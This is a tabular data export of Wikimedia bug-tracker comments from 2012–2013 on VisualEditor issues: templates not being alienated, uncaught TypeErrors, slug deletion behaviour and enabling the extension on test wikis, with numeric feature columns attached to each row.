205021,VisualEditor: Some elements not alienated,This (first part; second part is now bug 43155) is fixed in gerrit 39834 which is now merged; will be deployed as part of the 2013-01-16 release cycle.,,,1357678877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3513513513513513,0.8108108108108109,This (first part; second part is now bug 43155) is fixed in gerrit 39834 which is now merged; will be deployed as part of the 2013-01-16 release cycle.
205015,VisualEditor: Some elements not alienated,"(In reply to comment #0)
> The coord template is not hatched but still visible and the links are still
> clickable.
> 
> https://en.wikipedia.org/wiki/User:Raymond/coords

Inspecting it shows that this is being alienated correctly, but for some reason it's not getting hatched out and not behaving quite correctly. That's a CE bug.

Inspecting the coords element shows:

<div contenteditable=""false"" class=""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode""><span typeof=""mw:Object/Template "" about=""#mwt1"" ...>[lots of scary stuff here, including nested <span>s]</span></div>


(In reply to comment #1)
> There are a few templates that aren't hatched. For example, the tables
> created
> by [[w:en:Template:Canadian_first_minister_list]] are editable with
> VisualEditor, and trying to do so results in a mess of wikitext.
This is actually a different bug. Tables of Canadian prime ministers aren't alienated at all due to a bug in Parsoid, while on Raymond's coords page the template is alienated correctly but the alien itself is misbehaving. Keeping this bug for the coords bug, splitting off the Canadian prime ministers bug to bug 43155.",,,1355560412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,False,,,-29,,1.0,0.0,0.0,2.0,1.5,7.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.5,6.0,9.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,15.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.5,3.0,12.0,1.0,1.5,7.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,1.5,9.5,6.5,0.0,1.5,0.0,1.5,0.0,0.0,1.5,0.5,4.0,0.5,0.0,3.0,4.033583021223471,0.6870162297128589,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Inspecting it shows that this is being alienated correctly, but for some reason it's not getting hatched out and not behaving quite correctly. That's a CE bug.

Inspecting the coords element shows:

<div contenteditable=""false"" class=""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode""><span typeof=""mw:Object/Template "" about=""#mwt1"" ...>[lots of scary stuff here, including nested <span>s]</span></div>


(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
This is actually a different bug. Tables of Canadian prime ministers aren't alienated at all due to a bug in Parsoid, while on Raymond's coords page the template is alienated correctly but the alien itself is misbehaving. Keeping this bug for the coords bug, splitting off the Canadian prime ministers bug to bug 43155."
205009,VisualEditor: Some elements not alienated,"**jnichols** wrote:

There are a few templates that aren't hatched. For example, the tables created by [[w:en:Template:Canadian_first_minister_list]] are editable with VisualEditor, and trying to do so results in a mess of wikitext.",,,1355426222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_subcomment,,True,c1,1,False,,,-29,,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,9.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,4.0,3.811320754716981,0.7547169811320755,"**jnichols** wrote:

There are a few templates that aren't hatched. For example, the tables created by [[w:en:Template:Canadian_first_minister_list]] are editable with VisualEditor, and trying to do so results in a mess of wikitext."
45041,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","A couple more uncaught TypeError, a la https://bugzilla.wikimedia.org/show_bug.cgi?id=43014:

Uncaught TypeError: Cannot read property 'left' of undefined

Uncaught TypeError: Cannot call method 'getOuterLength' of undefined

Reported http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Error_loading_data_from_server:_Server_error

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355346720,1364318260.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-alx56wytsjcuj4hvxv6h,task_description,invalid,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,4.25,0.5535714285714286,"A couple more uncaught TypeError, a la URL

Uncaught TypeError: Cannot read property 'left' of undefined

Uncaught TypeError: Cannot call method 'getOuterLength' of undefined

Reported URL

--------------------------
**Version**: unspecified
**Severity**: normal"
202932,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318251,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alx56wytsjcuj4hvxv6h,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,"Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue."
202926,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'left'  / call method 'getOuterLength'.""","Given errors sounds like a selection issue; assigning to CE, but please advise if not.",,,1355429701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-alx56wytsjcuj4hvxv6h,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.0,1.0,"Given errors sounds like a selection issue; assigning to CE, but please advise if not."
45026,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Example Page: http://en.wikipedia.org/wiki/Ansaldo_Poggi

1. Go to the top, click into the empty line above the ineditable image (the normally right floating image). This empty line should not exist. It can however, be deleted (press ""delete"" on the keyboard) which causes the start text to jump in front of the ""Modern Bolognese Violin-Making Table"" image.

2. Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will be merged with the heading (ignoring the uneditable ""references"" tag and ""cite"" template).

3. Similar to the above: Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Move one more right into the (errorneously existing) empty line between the heading and the uneditable references tag. Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will jump above the uneditable ""references"" tag and ""cite"" template.

4. Do the same as above, i.e. go to the empty line after the References-Heading. However, this time click with the mouse into the line. Press ""delete"" on the keyboard. This time the behavior is different, nothing is deleted and the cursor jumps to the start of the article. This in itself seems again to be an error in the ordering of page objects. Now try to repeat this with different browser windows screen or zoom sizes, so that the originally, the start of the article is not visible before clicking delete. It can be seen that the focus is not updated, the cursor is outside of the visible area. Press ""delete"" again and with seeing it, parts of the text can be deleted.

5. Do the same as above, click on line below reference with the mouse, delete once, cursor jumps to top. Do not delete again, but put the cursor again into the line below the reference heading with the mouse. This time the ineditable <references> tag is deleted.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355334540,1420844082.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qr4la5fjep3uvnewafhr,task_description,resolved,True,c1,1,False,False,False,-29,,0.0,0.0,0.0,1.4,0.8,4.8,0.8,0.0,0.0,0.0,1.6,0.0,0.2,0.0,0.0,0.0,0.0,4.6,11.2,0.2,0.8,0.2,0.2,0.0,0.2,0.0,0.0,2.0,0.6,0.4,0.6,2.0,0.4,0.8,0.4,0.0,0.2,0.2,1.0,0.8,0.0,0.0,1.4,0.8,0.0,0.2,0.0,0.0,0.2,16.2,0.0,1.4,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.6,0.0,0.2,0.0,0.0,0.0,10.6,2.2,8.6,0.6,1.4,12.0,0.0,0.0,0.0,0.0,6.2,0.0,0.4,0.0,0.8,11.2,2.2,0.0,6.4,0.0,0.8,0.0,0.2,0.2,0.2,1.8,0.2,0.0,1.2,3.780158324821246,0.5961695607763022,"Example Page: URL

1. Go to the top, click into the empty line above the ineditable image (the normally right floating image). This empty line should not exist. It can however, be deleted (press ""delete"" on the keyboard) which causes the start text to jump in front of the ""Modern Bolognese Violin-Making Table"" image.

2. Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will be merged with the heading (ignoring the uneditable ""references"" tag and ""cite"" template).

3. Similar to the above: Click somewhere inside ""References"". Move the cursor with the keyboard  to the position after the ""s"". Move one more right into the (errorneously existing) empty line between the heading and the uneditable references tag. Press ""delete"" on the keyboard. The line starting with ""Tito Gotti"" will jump above the uneditable ""references"" tag and ""cite"" template.

4. Do the same as above, i.e. go to the empty line after the References-Heading. However, this time click with the mouse into the line. Press ""delete"" on the keyboard. This time the behavior is different, nothing is deleted and the cursor jumps to the start of the article. This in itself seems again to be an error in the ordering of page objects. Now try to repeat this with different browser windows screen or zoom sizes, so that the originally, the start of the article is not visible before clicking delete. It can be seen that the focus is not updated, the cursor is outside of the visible area. Press ""delete"" again and with seeing it, parts of the text can be deleted.

5. Do the same as above, click on line below reference with the mouse, delete once, cursor jumps to top. Do not delete again, but put the cursor again into the line below the reference heading with the mouse. This time the ineditable <references> tag is deleted.

--------------------------
**Version**: unspecified
**Severity**: normal"
397660,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),These are all moot since the redesign of slugs over a year ago.,,,1420844082,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,3,True,,,79,,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,7.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,1.0,These are all moot since the redesign of slugs over a year ago.
202167,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Would having an object inspector on the non-editable non-text things that provides options to ""insert text before""/""insert text after"" be a solution to the problem?",,,1360616789,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-20,,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.375,0.78125,"Would having an object inspector on the non-editable non-text things that provides options to ""insert text before""/""insert text after"" be a solution to the problem?"
202160,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Created attachment 11767
Mockup of VisualEditor in various modes

Just wanted to note that slugs were an experimental solution to the problem of ""how do you allow users to insert content between non-text things?

We have had a lot of ideas, but so far the direction we intend to go is to remove them entirely from the existing ""layout"" mode and provide an ""outline"" mode to the editor which includes them. There could also be a ""source"" mode where we could integrate the markup editing experience directly into VisualEditor.

**Attached**: {F10138}",,,1360609163,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-20,,0.0,0.0,1.0,0.0,0.0,4.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,5.5,8.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,2.0,0.0,0.0,3.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,11.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,6.5,2.5,6.0,2.0,1.5,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.0,8.5,3.0,0.5,6.0,0.0,4.0,0.0,2.5,3.0,2.0,1.0,0.0,0.0,0.0,4.017090139140956,0.7993042952208107,"Created attachment 11767
Mockup of VisualEditor in various modes

Just wanted to note that slugs were an experimental solution to the problem of ""how do you allow users to insert content between non-text things?

We have had a lot of ideas, but so far the direction we intend to go is to remove them entirely from the existing ""layout"" mode and provide an ""outline"" mode to the editor which includes them. There could also be a ""source"" mode where we could integrate the markup editing experience directly into VisualEditor.

**Attached**: {F10138}"
202151,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Gladly: Windows 7, continuous updates, Google Chrome, Version 23.0.1271.95 m",,,1355343138,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.785714285714286,0.8571428571428571,"Gladly: Windows 7, continuous updates, Google Chrome, Version 23.0.1271.95 m"
202144,VisualEditor: Deletion of slugs causes significant confusion (and shouldn't be possible?),"Thank you for the bug report.  Though I am unable to reproduce the first step in Firefox or Chrome.  To help with debugging, would you please include your browser information?",,,1355341412,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-qr4la5fjep3uvnewafhr,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,17.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,11.0,17.0,6.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,"Thank you for the bug report.  Though I am unable to reproduce the first step in Firefox or Chrome.  To help with debugging, would you please include your browser information?"
45018,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"According to <https://test.wikipedia.org/wiki/Special:Version>, the VisualEditor extension is installed, but it doesn't seem to be enabled. I think VisualEditor should be enabled for all namespaces, all skins, all users, etc. on test.wikipedia.org.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1355330700,1367270827.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-3qimgh7ycaviacztiyae,task_description,resolved,True,c1,1,False,False,True,-29,,5.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.2,0.6666666666666666,"According to <URL the VisualEditor extension is installed, but it doesn't seem to be enabled. I think VisualEditor should be enabled for all namespaces, all skins, all users, etc. on test.wikipedia.org.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
201662,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,This is now deployed. Marking as fixed.,,,1367270827,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,This is now deployed. Marking as fixed.
201655,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #9)
> Yeah; it would be helpful if gerrit changes which mentioned bugs were either
> always or never proxied by the bot to bugzilla, instead of the half-way house
> of being unknown. :-)

Feel free to file a new ticket with reference to bug 17322. :)",,,1367251782,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.103448275862069,0.7931034482758621,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Feel free to file a new ticket with reference to bug 17322. :)"
201649,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"Yeah; it would be helpful if gerrit changes which mentioned bugs were either always or never proxied by the bot to bugzilla, instead of the half-way house of being unknown. :-)

Apologies, all!

J.",,,1367250758,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-9,,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,7.0,2.0,5.0,9.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.86046511627907,0.9069767441860465,"Yeah; it would be helpful if gerrit changes which mentioned bugs were either always or never proxied by the bot to bugzilla, instead of the half-way house of being unknown. :-)

Apologies, all!

J."
201645,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #7)
> Related URL: https://gerrit.wikimedia.org/r/61382 (Gerrit Change
> I56906c123e924b84eb9ee076cd67254f8935911d)

Result of a typo. ^",,,1367249638,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.5789473684210527,0.8947368421052632,"(In reply to comment #7)
QUOTE
QUOTE

Result of a typo. ^"
201641,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/61382 (Gerrit Change I56906c123e924b84eb9ee076cd67254f8935911d),,,1367247867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I56906c123e924b84eb9ee076cd67254f8935911d)
201635,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"(In reply to comment #5)
> Related URL: https://gerrit.wikimedia.org/r/61250 (Gerrit Change
> I98028df0bcb621e8f13a2f8ab130e86a9010ebeb)
This change enables VisualEditor on test2wiki, and will be deployed on Monday.

I fixed the namespace configuration last week, it's now the same on all wikis: VisualEditor is enabled in the main and user namespaces, as well as the VisualEditor namespace where it exists (testwiki and mediawikiwiki have this namespace for historical reasons).",,,1367130629,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-10,,1.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,12.0,1.0,4.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,4.0,11.0,8.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,0.7236842105263158,"(In reply to comment #5)
QUOTE
QUOTE
This change enables VisualEditor on test2wiki, and will be deployed on Monday.

I fixed the namespace configuration last week, it's now the same on all wikis: VisualEditor is enabled in the main and user namespaces, as well as the VisualEditor namespace where it exists (testwiki and mediawikiwiki have this namespace for historical reasons)."
